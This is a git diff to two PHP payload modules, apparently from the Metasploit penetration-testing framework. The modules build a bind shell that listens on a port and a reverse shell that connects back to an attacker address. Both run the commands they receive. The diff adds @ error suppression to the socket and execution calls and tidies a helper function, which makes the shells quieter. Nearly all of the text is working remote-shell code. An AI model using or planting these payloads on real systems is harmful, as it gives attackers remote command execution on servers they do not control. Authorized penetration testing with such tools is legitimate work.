diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 524161c041..1476aeed83 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -57,24 +57,24 @@ module BindPhp $scl='socket_create_listen'; if(is_callable($scl)&&!in_array($scl,#{dis})){ - $sock=$scl($port); + $sock=@$scl($port); }else{ - $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); - $ret=socket_bind($sock,0,$port); - $ret=socket_listen($sock,5); + $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); + $ret=@socket_bind($sock,0,$port); + $ret=@socket_listen($sock,5); } - $msgsock=socket_accept($sock); - socket_close($sock); + $msgsock=@socket_accept($sock); + @socket_close($sock); - while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) + while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) { - $c=socket_read($msgsock,2048,PHP_NORMAL_READ); + $c=@socket_read($msgsock,2048,PHP_NORMAL_READ); if(FALSE===$c){break;} #{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})} - socket_write($msgsock,$o,strlen($o)); + @socket_write($msgsock,$o,strlen($o)); } - socket_close($msgsock); + @socket_close($msgsock); END_OF_PHP_CODE return shell diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 3b414a3cbd..3538cc5379 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -73,14 +73,16 @@ module ReversePhp $port=#{port}; #{php_preamble({:disabled_varname => "$dis"})} - if(!function_exists('myexec')){function myexec($c){ - global$dis; - #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} - return$o; - }} + if(!function_exists('myexec')){ + function myexec($c){ + global$dis; + #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} + return$o; + } + } $nofuncs='no exec functions'; if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ - $s=fsockopen($ipaddr,$port); + $s=@fsockopen($ipaddr,$port); while($c=fread($s,2048)){ $out=myexec(substr($c,0,-1)); if($out===false){ @@ -91,18 +93,18 @@ module ReversePhp } fclose($s); }else{ - $s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); - socket_connect($s,$ipaddr,$port); - socket_write($s,"socket_create"); - while($c=socket_read($s,2048)){ + $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); + @socket_connect($s,$ipaddr,$port); + @socket_write($s,"socket_create"); + while($c=@socket_read($s,2048)){ $out=myexec(substr($c,0,-1)); if($out===false){ - socket_write($s,$nofuncs); + @socket_write($s,$nofuncs); break; } - socket_write($s,$out,strlen($out)); + @socket_write($s,$out,strlen($out)); } - socket_close($s); + @socket_close($s); } END_OF_PHP_CODE